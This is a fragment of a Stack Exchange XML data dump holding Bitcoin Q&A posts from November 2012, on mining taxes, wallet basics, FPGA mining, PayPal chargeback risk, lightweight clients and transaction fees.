  <row Id="5455" PostTypeId="2" ParentId="5444" CreationDate="2012-11-23T02:17:41.197" Score="1" Body="&lt;p&gt;Bitcoin mining flows the path of least resistance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if taxes on mining proceeds are high in one area, mining operators that are fully compliant with the tax laws (reporting as income all of their profits -- a big if), then those miners may not be able to compete against a mining operator that isn't burdened with the high taxes or those who don't report the income.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus mining capacity will always grow to the level afforded by the block reward subsidy plus the transaction fees.  If that capacity is forced to leave one jurisdiction it will pop up in another, less-restrictive jurisdiction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if the mining pools were to start reporting mining income to the state, there are options such as solo mining, or P2Pool which generate mining revenues directly to the miner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So even in highly taxed jurisdictions it is unlikely tax laws targeting bitcoin mining revenues would have much of an effect.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-11-23T02:40:35.970" LastActivityDate="2012-11-23T02:40:35.970" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5456" PostTypeId="2" ParentId="5443" CreationDate="2012-11-23T02:20:27.800" Score="2" Body="&lt;p&gt;None do now and none likely will anytime soon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will vary per-tax jurisdiction and per individual circumstances because income taxes are based on profit not on revenue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the very first inquiry I've seen where this feature has been requested, incidentally.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-11-23T02:41:26.113" LastActivityDate="2012-11-23T02:41:26.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5458" PostTypeId="2" ParentId="2746" CreationDate="2012-11-23T09:32:44.183" Score="3" Body="&lt;p&gt;I have got an XMLGold Prepaid MasterCard from PFS and it can be loaded instantly with bitcoins during a daytime, the card cost just 2 Bitcoins and delivery was included. You can get the card here: &lt;a href=&quot;https://www.xmlgold.eu/en/site/cardInfo.html&quot; rel=&quot;nofollow&quot;&gt;instant bitcoin mastercard&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1979" LastEditorUserId="4618" LastEditDate="2013-04-24T18:43:59.510" LastActivityDate="2013-04-24T18:43:59.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5459" PostTypeId="1" CreationDate="2012-11-23T09:54:40.333" Score="4" ViewCount="205" Body="&lt;p&gt;I just downloaded Bitcoin on ubuntu and started as per the instructions in the README file. But, cannot understand the terms &quot;Label&quot;, &quot;Address&quot; or any other for adding a new address or sending bitcoins or anything. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help ??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank You !!!&lt;/p&gt;&#xA;" OwnerUserId="2285" LastEditorUserId="615" LastEditDate="2012-11-23T23:08:16.030" LastActivityDate="2012-11-23T23:08:16.030" Title="How to use Bitcoin software" Tags="|transactions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5460" PostTypeId="2" ParentId="5459" CreationDate="2012-11-23T12:23:11.120" Score="5" Body="&lt;p&gt;Bitcoin &lt;a href=&quot;https://en.bitcoin.it/wiki/Transactions&quot;&gt;transaction&lt;/a&gt; has three important parts:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;from address A&lt;/li&gt;&#xA;&lt;li&gt;to address B&lt;/li&gt;&#xA;&lt;li&gt;amount of bitcoins&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If Bitcoin client broadcasts correctly formed transaction then the network knows that certain amount of bitcoins were sent from address A to address B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the owner of address B wants to send bitcoins to someone else he formes transaction that looks like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;from address B&lt;/li&gt;&#xA;&lt;li&gt;to address C&lt;/li&gt;&#xA;&lt;li&gt;amount of bitcoins&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You can have as many addresses as you want, but newly created address has zero bitcoins. You can buy bitcoins from someone e.g. &lt;a href=&quot;https://www.bitinstant.com/&quot;&gt;Bitinstant&lt;/a&gt; or &lt;a href=&quot;https://mtgox.com/&quot;&gt;MtGox&lt;/a&gt;, and ask to send them to the newly created address. Once you have the bitcoins you can sell them or exchange for goods and services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Label is just a description of an address that you can enter to help you remember, it won't be broadcasted to the network. For example, if you plan to receive bitcoins from MtGox and created a new address for that, then in label field you can enter &quot;Bitcoins from MtGox&quot;.&lt;/p&gt;&#xA;" OwnerUserId="108" LastActivityDate="2012-11-23T12:23:11.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5461" PostTypeId="1" CreationDate="2012-11-23T15:04:36.050" Score="11" ViewCount="5618" Body="&lt;p&gt;Are there any C# wappers that take an OOO approach to the Bitcoin REST API, and encapsulate it in an easy to use format?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2020-08-26T14:26:04.037" Title="Are there any C# wrappers for the Bitcoin REST API?" Tags="|development|api|" AnswerCount="6" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5462" PostTypeId="2" ParentId="1764" CreationDate="2012-11-23T18:34:44.227" Score="0" Body="&lt;p&gt;I've never used it for this purpose but I believe &lt;a href=&quot;http://www.mokimarket.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mokimarket&lt;/a&gt; allows you to sell items in a penny auction format.&lt;/p&gt;&#xA;" OwnerUserId="61" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2012-11-23T18:34:44.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5463" PostTypeId="1" CreationDate="2012-11-23T20:05:32.940" Score="2" ViewCount="749" Body="&lt;p&gt;I am using an FPGA to mine bitcoins in a pool, as you can see below I am not really very successful:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[1 accepted, 48 failed, 148.90 +/- 21.27 Mhash/s]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is running at 150 MhZ but I only have 1 accepted share out of 49. &#xA;I guess this quota does not look to healhty. Anyone an idea what could&#xA;be wrong?&lt;/p&gt;&#xA;" OwnerUserId="2187" LastEditorUserId="2306" LastEditDate="2016-04-26T23:12:22.847" LastActivityDate="2016-04-26T23:12:22.847" Title="Shares mostly rejected mining with an FPGA" Tags="|mining-pools|mining-hardware|fpga|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5464" PostTypeId="2" ParentId="4254" CreationDate="2012-11-23T23:43:21.903" Score="1" Body="&lt;p&gt;It is unrealistic to believe that such a purchase would survive&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Executive scrutiny&lt;/li&gt;&#xA;&lt;li&gt;Congressional scrutiny&lt;/li&gt;&#xA;&lt;li&gt;Judicial scrutiny&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;More than likely, a call for Congressional action would come not from the legislative branch, but from the executive or judicial branch. Alternatively, pressure may come from lobbying entities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moreover, a Congressperson who authors or support a bill outlawing digital currencies would likely face severe pressure from voters who use them. Remember that laws a written very vaguely, so digital currencies may include in-game currencies like WoW and Diablo gold, Linden dollars, Eve ISK, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, can you image the headlines? &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Rep. Smith introduces bill to outlaw in-game currencies&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Obama administration authorizes $100M purchase of entire on-line currency system&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Obama spends $300M to disable fledgling Internet currency used by fewer than 5,000 people&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2012-11-23T23:43:21.903" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5465" PostTypeId="1" AcceptedAnswerId="5466" CreationDate="2012-11-24T03:11:33.633" Score="16" ViewCount="1958" Body="&lt;p&gt;I've heard that it's not a good idea to accept PayPal payments in exchange for Bitcoin. Why?&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2012-11-28T02:08:02.773" Title="Why shouldn't I accept PayPal when trading bitcoin?" Tags="|trading|payment|paypal|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5466" PostTypeId="2" ParentId="5465" CreationDate="2012-11-24T03:11:33.633" Score="12" Body="&lt;p&gt;First of all, it is likely a violation of PayPal's &lt;a href=&quot;https://cms.paypal.com/us/cgi-bin/?cmd=_render-content&amp;amp;content_ID=ua/AcceptableUse_popup&quot;&gt;Acceptable Use Policy&lt;/a&gt; as of Oct 2011:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;3(h) involve currency exchanges or check cashing businesses&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Given this, it's unlikely that PayPal would be amenable to helping at best, and may close your account (and freeze the funds it had for six months) at worst.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another chief problem is the high likelihood of chargebacks. PayPal has generally sided with the buyer when any dispute is brought against the seller for any reason. For this reason alone, it's best to accept Bitcoin only when you trust the buyer and have some influence on their reputation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, Paypal has high fees (&lt;a href=&quot;https://www.paypal.com/webapps/mpp/merchant-fees&quot;&gt;current 2.9% + $0.30 USD&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="1409" LastEditorUserId="1409" LastEditDate="2012-11-24T17:44:10.170" LastActivityDate="2012-11-24T17:44:10.170" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5467" PostTypeId="2" ParentId="1853" CreationDate="2012-11-24T05:00:23.963" Score="2" Body="&lt;p&gt;You're pretty close, with the deviations being I think primarily in terminology.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Client A &lt;em&gt;listens&lt;/em&gt; for connections on port 8333. &lt;em&gt;Listening&lt;/em&gt; is a &lt;em&gt;server&lt;/em&gt; activity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Client A chooses an &lt;a href=&quot;https://en.wikipedia.org/wiki/Ephemeral_port&quot; rel=&quot;nofollow&quot;&gt;ephemeral port&lt;/a&gt; and opens a connection to the address of Client B on port 8333, on which Client B is &lt;em&gt;listening&lt;/em&gt;. At the TCP level, there is a &lt;a href=&quot;http://www.inetdaemon.com/tutorials/internet/tcp/3-way_handshake.shtml&quot; rel=&quot;nofollow&quot;&gt;three-way handshake&lt;/a&gt; to establish the connection. Imagine this connection as a bi-directional pipe to and from which both clients can read and write.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once established, Client A sends &lt;code&gt;Version&lt;/code&gt; and Client B receives it. Client B sends &lt;code&gt;Version&lt;/code&gt; and Client A receives it. Client A sends &lt;code&gt;Verack&lt;/code&gt; and I think Client B also sends &lt;code&gt;Verack&lt;/code&gt;, which is an acknowledgement of the version compatibility or receipt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my understanding.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2012-11-24T05:00:23.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5468" PostTypeId="2" ParentId="4619" CreationDate="2012-11-24T05:11:36.703" Score="5" Body="&lt;p&gt;I recommend using the services of a user on &lt;a href=&quot;http://www.localbitcoins.com&quot; rel=&quot;noreferrer&quot;&gt;LocalBitcoins&lt;/a&gt; with a high rating and high number of transactions completed.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2012-11-24T05:11:36.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5470" PostTypeId="2" ParentId="5465" CreationDate="2012-11-24T09:21:31.223" Score="4" Body="&lt;p&gt;As PayPal is not a bank and reserves the right to freeze your account for whatever reason they deem fits them, you should never use PayPal, unless you can afford to lose your money, or are prepared to take them to court and win, should they steal your funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While this is not specific to BitCoin per so, it is probably likelier to happen with edge cases that PayPal for some reason might be likelier to see as a threat to their interests or business model than the everyday type of transactions that make up the bulk of their volume of business.&lt;/p&gt;&#xA;" OwnerUserId="2291" LastActivityDate="2012-11-24T09:21:31.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5471" PostTypeId="1" AcceptedAnswerId="5473" CreationDate="2012-11-24T15:08:54.533" Score="5" ViewCount="1065" Body="&lt;p&gt;As of November 2012, the blockchain is nearly 3 GB in size with a near-linear growth of about 500 MB/month (cut from exponential growth by the hard-coded block size limit, I guess).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to install Bitcoin on my average notebook:&#xA;Downloading and verifying the &lt;a href=&quot;http://eu2.bitcoincharts.com/blockchain/&quot; rel=&quot;nofollow noreferrer&quot;&gt;latest bootstrap.dat from Bitcoincharts&lt;/a&gt; took some hours (5–9, I guess), but that was only 2.3 GB! Now, I’ve been waiting for Bitcoin to catch up on the last 2–3 months, in which blocks have been considerably bigger and each block takes about 5 seconds of being processed, with my CPU at ~25% and my hard drive at max workload.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is, to be put lightly, unsustainable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We need a system, in which an already verified blockchain can be downloaded and directly copied to the bitcoin folder, maybe in an incremental form.&#xA;The source has to be trusted, for this, one needs a verifying system in which everyone can control the correctness of the blockchain and then sign it, I’d propose to use gpg keys for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The source can then be distributed via server-backed torrent, for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this technically possible and how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Since I approached this with a wrong mindset, I posted kind of a follow-up question about the security risks of lightweight clients. &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5478/should-an-end-user-download-the-whole-blockchain-or-is-a-lightweight-client-s&quot;&gt;Should an end-user download the whole blockchain? Or is a “lightweight” client sufficient?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2292" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2013-07-05T20:39:34.667" Title="Would it be possible to provide a downloadable blockchain that is updated and verified by a mass of people?" Tags="|blockchain|bitcoind|bitcoin-core|verification|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5473" PostTypeId="2" ParentId="5471" CreationDate="2012-11-24T16:29:50.827" Score="4" Body="&lt;p&gt;There already are downloadable versions of the blockchain. There's no problem in principle in having them GPG-signed by several trusted people. However:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;It somewhat weakens security. With the software itself you can trust the signatures &lt;em&gt;and&lt;/em&gt; you can inspect the code. With blockchain data inspecting it is infeasible.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Future versions will use a different DB format which allows for much faster verification, so there will not be much advantage for a system where verification is obviated but downloading the data is still needed.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the long-term, end users will not use a full client, but rather (at best) an SPV client which does not need to download or verify the entire blockchain.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-11-24T16:29:50.827" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5474" PostTypeId="2" ParentId="5471" CreationDate="2012-11-24T17:26:52.817" Score="2" Body="&lt;p&gt;This is certainly technically possible (run with &lt;code&gt;-detachdb&lt;/code&gt; and then copy the database directory), but the question is whether you would want this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, take a step back. Bitcoin is designed to work with reasonable security on lightweight nodes (see &quot;Simplified payment verification&quot; in &lt;a href=&quot;http://bitcoin.org/bitcoin.pdf&quot; rel=&quot;nofollow&quot;&gt;Satoshi's paper&lt;/a&gt;). The only trust lightweight nodes require is that the chain with the most work in it, also contains valid transactions. Such lightweight nodes require a few megabytes of downloads to synchronize, and cause almost no CPU or disk load. Examples of such node implementations include &lt;a href=&quot;http://multibit.org/&quot; rel=&quot;nofollow&quot;&gt;Multibit&lt;/a&gt; or &lt;a href=&quot;https://play.google.com/store/apps/details?id=de.schildbach.wallet&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Wallet for Android&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason this is possible, is because lightweight nodes assume that there are full nodes which do verify everything, and that no miner will risk creating blocks that contain invalid transactions (a very reasonable assumption, as in a sane network, such blocks will be ignored by everyone else). These full nodes form the security backbone of the network, and as they verify everything, they essentially require zero trust. This is something of a core property of Bitcoin, which exists in almost no other payment system: the privilege of not needing to trust anyone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're going to download a pre-indexed block chain, you are giving up that privilege. You're essentially going to trust one person (maybe a few, if you actually bother checking signatures) to tell you which transactions in Bitcoin's history were valid. This is a much stronger assumption than the one you make when running a lightweight client. If someone were able to corrupt (even unintentionally!) such a download, and it was used by many people, the risk could be a forked network. This could be a disaster.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if you think your system cannot handle the current load of running a full node, please just run a lightweight one. If lightweight software doesn't offer the features you want, encourage them to implement them - they'll be needed as time grows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a side note, the next release (0.8) of Bitcoind/Bitcoin-Qt should be &lt;strong&gt;much&lt;/strong&gt; faster, especially on hardware with slow input/output.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2012-11-24T17:26:52.817" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5475" PostTypeId="1" AcceptedAnswerId="5482" CreationDate="2012-11-24T19:49:24.747" Score="4" ViewCount="752" Body="&lt;pre&gt;&lt;code&gt;bitcoind -help&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;displays&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-upgradewallet         Upgrade wallet to latest format&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have noticed that my wallet format is a few behind bitcoind's version number. Does this mean it is an old format? If so, why should I upgrade it?&lt;/p&gt;&#xA;" OwnerUserId="615" LastActivityDate="2012-11-25T01:51:52.037" Title="What is the benefit of upgrading the wallet file?" Tags="|bitcoind|wallet.dat|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5476" PostTypeId="2" ParentId="3580" CreationDate="2012-11-24T19:52:20.907" Score="2" Body="&lt;p&gt;As the comments mention this value is likely to change over time. &#xA;Since Stephen Gornick's answer in May 2012 the highest recorded difficulty is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3,415,121.18552938&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the time of writing (24th November 2012) this is the current difficulty and the difficulty is expected to increase again in ~257 blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current difficulty can be checked at this &lt;a href=&quot;http://blockexplorer.com/q/getdifficulty&quot; rel=&quot;nofollow&quot;&gt;link&lt;/a&gt; and the estimate of the next re-target &lt;a href=&quot;http://blockexplorer.com/q/estimate&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; (this estimate is often wildly incorrect just after a difficulty re-target, i.e. when there are only the first few of the 2016 blocks of the current difficulty period that can be used to calculate the estimate).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Historical hash rates and difficulties can be seen in these &lt;a href=&quot;http://bitcoin.sipa.be/&quot; rel=&quot;nofollow&quot;&gt;graphs&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2012-11-24T19:52:20.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5477" PostTypeId="2" ParentId="5262" CreationDate="2012-11-24T20:27:57.030" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I also heard somewhere that after a while coins will no longer be able to be mined. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There is an upper limit of &lt;a href=&quot;https://bitcoin.stackexchange.com/q/161/61&quot;&gt;21 million&lt;/a&gt; coins, after that no more coins will be mined but that will not be for many years yet. Also see this answer on&#xA;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/5275/61&quot;&gt;mining after all 21 million bitcoins have been mined&lt;/a&gt; for what will happen then.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If this is the case, and tons of people lose their wallet.dat (for whatever reason. eg. Virus, format, new PC, etc), would that cause coins to get more and more hard to find, which in turn would make coins be worth more, but would &quot;mining start again&quot;?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If people lose their wallets and the number of bitcoins in circulation is reduced this does not directly impact how &quot;hard&quot; it is to &quot;find&quot; (mine) coins, instead this is determined by the &lt;a href=&quot;https://en.bitcoin.it/wiki/Difficulty&quot; rel=&quot;nofollow noreferrer&quot;&gt;difficulty&lt;/a&gt; which is a parameter set by the network to try to maintain a block generation time of 10 minutes on average and is adjusted every 2016 blocks. Lost wallets may indeed cause bitcoins to be worth more as the supply is reduced and this could cause the hash rate to increase and thus increase the difficulty in that way. Bitcoins from lost wallet.dat files cannot be re-mined but are gone for good unless the wallet file can be recovered somehow.&lt;/p&gt;&#xA;" OwnerUserId="61" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2012-11-24T20:27:57.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5478" PostTypeId="1" CreationDate="2012-11-24T21:02:04.177" Score="16" ViewCount="2594" Body="&lt;p&gt;The average user normally doesn’t want to host a 3+GB file on his machine and wait for hours for it to download.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the security risks of running a lightweight client? And how does this affect my daily transactions?&lt;br&gt;&#xA;What features does a “full” client offer a “lightweight” does not?&lt;/p&gt;&#xA;" OwnerUserId="2292" LastActivityDate="2012-11-25T20:40:25.697" Title="Should an end-user download the whole blockchain? Or is a “lightweight” client sufficient?" Tags="|blockchain|client|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5480" PostTypeId="2" ParentId="5465" CreationDate="2012-11-24T23:46:19.423" Score="1" Body="&lt;p&gt;You should NEVER use Pay Pal. As other readers  have noted, they do what the danged well want to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if they make a mistake, which happens regularly, they will NEVER admit their mistake and give you your money back. Plain pure and simple! I know. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So using Pay Pal is an invite to lose your money. It has happened to 100's of thousands including me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am actively seeking an acceptable alternative to pay pal, but so far, no go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggertions.&lt;/p&gt;&#xA;" OwnerUserId="2296" LastActivityDate="2012-11-24T23:46:19.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5481" PostTypeId="1" AcceptedAnswerId="5507" CreationDate="2012-11-25T01:12:56.327" Score="6" ViewCount="13096" Body="&lt;p&gt;I found that in my university there are some FPGA's available to test and to play with. I am a software/web programmer and I have never been working with verilog or whatever is used to program FPGA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is there a nice tutorial which explains how to start mining using FPGA. I do not want to create a fancy 2 - 10 connected FPGAs to run mine for profit, but I just want to start one FPGA and to see how it is working and what speed it is giving me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have checked the question: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1169/what-software-hardware-is-required-to-mine-with-an-fpga&quot;&gt;What software/hardware is required to mine with an FPGA?&lt;/a&gt;, but it does not provide information, I needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S: I also have seen this post: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=9047.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bitcointalk.org/index.php?topic=9047.0&lt;/a&gt; , but I hope to hear from someone who started to mine by himself and can share his experience.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is there an easy to use tutorial for a not microsystem guy who wants to test mining. Or this is so complicated?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. The vendor is &lt;code&gt;Xilinx&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have two different models:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The model for the simple one is &lt;code&gt;Spartan 3E&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;The model for the advanced one is &lt;code&gt;Virtex5&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1891" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2016-03-31T16:30:16.137" Title="how to start mining with FPGA" Tags="|miner-configuration|fpga|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5482" PostTypeId="2" ParentId="5475" CreationDate="2012-11-25T01:51:52.037" Score="5" Body="&lt;p&gt;The latest wallet.dat version is 0.6.0; wallet.dat didn't change with the 0.7 releases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wallet.dat version 0.4.0 introduced the wallet encryption feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wallet.dat version 0.6.0 introduced 'compressed public keys', which make transactions you send smaller. Right now, that is the only reason you might want to run -upgradewallet, although even if you upgrade, you won't start using compressed public keys until you use up the 100 uncompressed keys in the wallet's keypool. You can force bitcoind to use up the old keys by running the 'getnewaddress' RPC command repeatedly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that when you encrypt a previously unencrypted wallet bitcoind/Bitcoin-Qt will automatically upgrade to the latest wallet.dat version, because it has to re-write the entire wallet.dat file anyway.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2012-11-25T01:51:52.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5483" PostTypeId="1" CreationDate="2012-11-25T02:12:22.197" Score="10" ViewCount="2735" Body="&lt;p&gt;When I send coins using the standard bitcoin.org client I can set the transaction fee to 0.  However in Armory client there is a transaction fee of .0005 and you cannot override it to less.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was under the impression that transaction fees were set by the user, and that the transaction fee determined the priority of your transaction on the network...so why does Armory force this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact when I sent coins with fee of 0 via bitcoin client it went through faster than when sending the coins back with a fee of 0.0005 with armory...?&lt;/p&gt;&#xA;" OwnerUserId="2297" LastEditorUserId="1878" LastEditDate="2013-03-19T14:42:51.710" LastActivityDate="2013-03-19T14:42:51.710" Title="Why does Armory enforce a minimum transaction fee?" Tags="|transaction-fees|armory|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5485" PostTypeId="1" CreationDate="2012-11-25T06:02:21.267" Score="-4" ViewCount="3025" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2844/how-can-i-change-btc-into-normal-cash&quot;&gt;How can I change BTC into normal cash?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;If I sell things on the internett and using bitcoins, how can I get transfered the &quot;coins&quot; to real money?&lt;/p&gt;&#xA;" OwnerUserId="2299" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2012-11-25T06:39:23.093" Title="Is it possible to exhance bitcoins to real money?" Tags="|client|" AnswerCount="1" CommentCount="2" ClosedDate="2012-11-25T13:11:29.890" ContentLicense="CC BY-SA 3.0" />
  <row Id="5486" PostTypeId="2" ParentId="5485" CreationDate="2012-11-25T06:39:23.093" Score="0" Body="&lt;p&gt;There are many, many methods:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Selling_bitcoins&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Selling_bitcoins&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-11-25T06:39:23.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
